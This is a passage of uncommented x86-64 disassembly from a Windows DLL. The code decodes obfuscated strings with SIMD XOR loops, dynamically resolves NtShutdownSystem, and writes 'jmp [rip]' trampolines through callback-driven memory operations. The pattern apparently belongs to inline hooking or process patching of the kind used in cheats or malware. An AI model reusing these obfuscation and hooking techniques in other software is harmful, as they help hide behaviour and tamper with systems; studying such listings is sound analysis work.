mov byte [rsp + 0x7c], al
mov r8d, ebx
cmp esi, 2
jl 0x18001600f
movdqa xmm4, xmmword [0x180048060]
movd xmm6, r13d
movd xmm5, ecx
movdqa xmm2, xmmword [0x180047fb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
mov eax, dword [0x180048040]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.VMUHWOPSn_:D]
pxor xmm2, xmm1
movd dword [rsp + 0x70], xmm2
movdqa xmm3, xmmword [0x180047fc0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x74]
pxor xmm2, xmm1
movd dword [rsp + 0x74], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x180016020
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x70]
call fcn.180009e10
mov qword [0x18004e010], rax
lea rcx, [0x18004df9c]
call fcn.180024bc0
mov r15, qword [0x18004e010]
mov eax, dword [rdi]
cmp dword [0x18004e008], eax
jle 0x1800160c7
lea rcx, [0x18004e008]
call fcn.180024c20
cmp dword [0x18004e008], 0xffffffff
jne 0x1800160c7
lea rcx, [0x180027a08]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18004dfa8], rax
lea rcx, [0x18004e008]
call fcn.180024bc0
mov eax, dword [rdi]
cmp dword [0x18004df30], eax
jle 0x180016110
lea rcx, [0x18004df30]
call fcn.180024c20
cmp dword [0x18004df30], 0xffffffff
jne 0x180016110
mov edx, 2
lea rcx, [0x18004dfb0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x1800266f0]
call fcn.1800250d4
lea rcx, [0x18004df30]
call fcn.180024bc0
lea rcx, [0x18004dfb0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x18001612a
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov dword [rbp + 0x80], 0x25ff
mov word [rbp + 0x84], 0
mov qword [rbp + 0x86], r15
mov rax, qword [0x18004dfa0]
mov qword [rbp + 0x28], 0xe
lea rcx, [rbp + 0xe0]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rax
mov rcx, qword [r14 + 0x38]
test rcx, rcx
jne 0x180016172
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x28]
lea r8, [rbp - 0x10]
lea rdx, [rbp - 8]
call qword [rax + 0x10]
test al, al
je 0x18001672c
mov rax, qword [0x18004dfa0]
mov qword [rbp + 0x30], 0xe
lea rcx, [rbp + 0x80]
mov qword [rbp], rcx
mov qword [rbp - 0x18], rax
mov rcx, qword [r14 + 0x78]
test rcx, rcx
jne 0x1800161ba
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x30]
lea r8, [rbp]
lea rdx, [rbp - 0x18]
call qword [rax + 0x10]
test al, al
je 0x18001672c
mov rax, qword [0x18004dfa8]
mov r8d, 0x10
mov rdx, r12
lea rcx, [rbp + 0x10]
call rax
mov r15, rax
mov rcx, qword [0x18004dfa0]
mov qword [rbp + 0x20], 0xe
lea rax, [rbp + 0xe0]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x28], rcx
mov rcx, qword [r14 + 0x78]
test rcx, rcx
jne 0x18001621b
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x20]
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x28]
call qword [rax + 0x10]
lea rcx, [0x18004dfb0]
test al, al
je 0x180016733
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
test r15, r15
je 0x180016cd6
movzx eax, word [rbp + 0x10]
test ax, ax
je 0x180016cd6
mov ecx, eax
shr rcx, 1
inc rcx
mov eax, 2
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1800250ec
mov r12, rax
movzx r8d, word [rbp + 0x10]
add r8, 2
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
movzx r13d, word [rbp + 0x10]
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x20], rax
mov ecx, dword [rdi]
cmp dword [0x18004df9c], ecx
jle 0x1800165d1
lea rcx, [0x18004df9c]
call fcn.180024c20
cmp dword [0x18004df9c], 0xffffffff
jne 0x1800165d1
mov rax, qword [str.UWVSK__]
mov qword [rbp - 0x60], rax
cmp byte [0x180047adf], 0
je 0x180016430
cmp esi, 2
jl 0x1800163f0
movdqa xmm4, xmmword [0x180048060]
mov ecx, 4
movd xmm6, ecx
mov edx, 0x1f
movd xmm5, edx
movdqa xmm2, xmmword [0x180047fb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
mov eax, dword [0x180048040]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x60]
pxor xmm2, xmm1
movd dword [rbp - 0x60], xmm2
movdqa xmm3, xmmword [0x180047fc0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x5c]
pxor xmm2, xmm1
movd dword [rbp - 0x5c], xmm2
jmp 0x180016438
lea r9, [rbp - 0x60]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x180016400
mov edx, 0x1f
lea ecx, [rdx - 0x1b]
mov eax, dword [0x180047ac0]
mov dword [rsp + 0x68], eax
movsd xmm0, qword [str.VMUHWOPSn_:D]
movzx eax, byte [0x180047ac4]
movsd qword [rsp + 0x60], xmm0
mov byte [rsp + 0x6c], al
mov r8d, ebx
cmp esi, 2
jl 0x180016571
movdqa xmm4, xmmword [0x180048060]
movd xmm6, ecx
movd xmm5, edx
movdqa xmm2, xmmword [0x180047fb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
mov eax, dword [0x180048040]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.VMUHWOPSn_:D]
pxor xmm2, xmm1
movd dword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x180047fc0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
pxor xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x180016580
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.180009e10
mov qword [0x18004e010], rax
lea rcx, [0x18004df9c]
call fcn.180024bc0
mov r15, qword [0x18004e010]
mov eax, dword [rdi]
cmp dword [0x18004e008], eax
jle 0x180016627
lea rcx, [0x18004e008]
call fcn.180024c20
cmp dword [0x18004e008], 0xffffffff
jne 0x180016627
lea rcx, [0x180027a08]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18004dfa8], rax
lea rcx, [0x18004e008]
call fcn.180024bc0
mov eax, dword [rdi]
cmp dword [0x18004df30], eax
jle 0x180016670
lea rcx, [0x18004df30]
call fcn.180024c20
cmp dword [0x18004df30], 0xffffffff
jne 0x180016670
mov edx, 2
lea rcx, [0x18004dfb0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x1800266f0]
call fcn.1800250d4
lea rcx, [0x18004df30]
call fcn.180024bc0
lea rcx, [0x18004dfb0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x18001668a
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov dword [rbp + 0x90], 0x25ff
mov word [rbp + 0x94], 0
mov qword [rbp + 0x96], r15
mov rax, qword [0x18004dfa0]
mov qword [rbp + 0x28], 0xe
lea rcx, [rbp + 0xf0]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rax
mov rcx, qword [r14 + 0x38]
test rcx, rcx
jne 0x1800166d2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x28]
lea r8, [rbp - 0x10]
lea rdx, [rbp - 8]
call qword [rax + 0x10]
test al, al
je 0x18001672c
mov rax, qword [0x18004dfa0]
mov qword [rbp + 0x30], 0xe
lea rcx, [rbp + 0x90]
mov qword [rbp], rcx
mov qword [rbp - 0x18], rax
mov rcx, qword [r14 + 0x78]
test rcx, rcx
jne 0x180016716
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x30]
lea r8, [rbp]
lea rdx, [rbp - 0x18]
call qword [rax + 0x10]
test al, al
jne 0x18001673e
lea rcx, [0x18004dfb0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
jmp 0x180016cd6
mov rax, qword [0x18004dfa8]
mov r8, r13
mov rdx, qword [rbp + 0x20]
mov rcx, r12
call rax
mov r15, rax
mov rcx, qword [0x18004dfa0]
mov qword [rbp + 0x20], 0xe
lea rax, [rbp + 0xf0]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x28], rcx
mov rcx, qword [r14 + 0x78]
test rcx, rcx
jne 0x180016782
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x20]
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x28]
call qword [rax + 0x10]
lea rcx, [0x18004dfb0]
test al, al
je 0x180016733
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
test r15, r15
je 0x180016cd6
mov word [rbp + 0x10], bx
mov r15, qword [rbp + 0x38]
mov eax, dword [rdi]
cmp dword [0x18004df9c], eax
jle 0x180016add
lea rcx, [0x18004df9c]
call fcn.180024c20
cmp dword [0x18004df9c], 0xffffffff
jne 0x180016add
mov rax, qword [str.UWVSK__]
mov qword [rbp - 0x58], rax
cmp byte [0x180047adf], 0
je 0x180016940
cmp esi, 2
jl 0x180016908
movdqa xmm4, xmmword [0x180048060]
mov ecx, 4
movd xmm6, ecx
mov edx, 0x1f
movd xmm5, edx
movdqa xmm2, xmmword [0x180047fb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
mov eax, dword [0x180048040]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x58]
pxor xmm2, xmm1
movd dword [rbp - 0x58], xmm2
movdqa xmm3, xmmword [0x180047fc0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x54]
pxor xmm2, xmm1
movd dword [rbp - 0x54], xmm2
jmp 0x180016948
lea r9, [rbp - 0x58]
mov r8d, ebx
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x180016910
mov edx, 0x1f
lea ecx, [rdx - 0x1b]
mov eax, dword [0x180047ac0]
mov dword [rsp + 0x58], eax
movsd xmm0, qword [str.VMUHWOPSn_:D]
movzx eax, byte [0x180047ac4]
movsd qword [rsp + 0x50], xmm0
mov byte [rsp + 0x5c], al
cmp esi, 2
jl 0x180016a7d
movdqa xmm4, xmmword [0x180048060]
movd xmm6, ecx
movd xmm5, edx
movdqa xmm2, xmmword [0x180047fb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
mov eax, dword [0x180048040]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.VMUHWOPSn_:D]
pxor xmm2, xmm1
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x180047fc0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
pxor xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov ebx, 8
movsxd rax, ebx
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, bl
sub al, cl
add al, 0x38
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xd
jl 0x180016a90
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x50]
call fcn.180009e10
mov qword [0x18004e010], rax
lea rcx, [0x18004df9c]
call fcn.180024bc0
mov rbx, qword [0x18004e010]
mov eax, dword [rdi]
cmp dword [0x18004e008], eax
jle 0x180016b33
lea rcx, [0x18004e008]
call fcn.180024c20
cmp dword [0x18004e008], 0xffffffff
jne 0x180016b33
lea rcx, [0x180027a08]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18004dfa8], rax
lea rcx, [0x18004e008]
call fcn.180024bc0
mov eax, dword [rdi]
cmp dword [0x18004df30], eax
jle 0x180016b7c
lea rcx, [0x18004df30]
call fcn.180024c20
cmp dword [0x18004df30], 0xffffffff
jne 0x180016b7c
mov edx, 2
lea rcx, [0x18004dfb0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x1800266f0]
call fcn.1800250d4
lea rcx, [0x18004df30]
call fcn.180024bc0
lea rcx, [0x18004dfb0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x180016b96
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov dword [rbp + 0xa0], 0x25ff
mov word [rbp + 0xa4], 0
mov qword [rbp + 0xa6], rbx
mov rax, qword [0x18004dfa0]
mov qword [rbp + 0x28], 0xe
lea rcx, [rbp + 0x100]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rax
mov rcx, qword [r14 + 0x38]
test rcx, rcx
jne 0x180016bde
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x28]
lea r8, [rbp - 0x10]
lea rdx, [rbp - 8]
call qword [rax + 0x10]
test al, al
je 0x18001672c
mov rax, qword [0x18004dfa0]
mov qword [rbp + 0x30], 0xe
lea rcx, [rbp + 0xa0]
mov qword [rbp], rcx
mov qword [rbp - 0x18], rax
mov rcx, qword [r14 + 0x78]
test rcx, rcx
jne 0x180016c26
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x30]
lea r8, [rbp]
lea rdx, [rbp - 0x18]
call qword [rax + 0x10]
test al, al
je 0x18001672c
mov rax, qword [0x18004dfa8]
mov r8d, 0x10
lea rdx, [rbp + 0x10]
lea rcx, [r15 + 0x58]
call rax
mov rbx, rax
mov rcx, qword [0x18004dfa0]
mov qword [rbp + 0x20], 0xe
lea rax, [rbp + 0x100]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x28], rcx
mov rcx, qword [r14 + 0x78]
test rcx, rcx
jne 0x180016c88
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x20]
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x28]
call qword [rax + 0x10]
lea rcx, [0x18004dfb0]
test al, al
je 0x180016733
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
test rbx, rbx
je 0x180016cd6
mov rcx, r12
call fcn.180024a90
mov al, 1
jmp 0x180016cd8
test rdi, rdi
je 0x180016cd6
mov r8d, 0x8000
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor al, al
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.180024a70
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret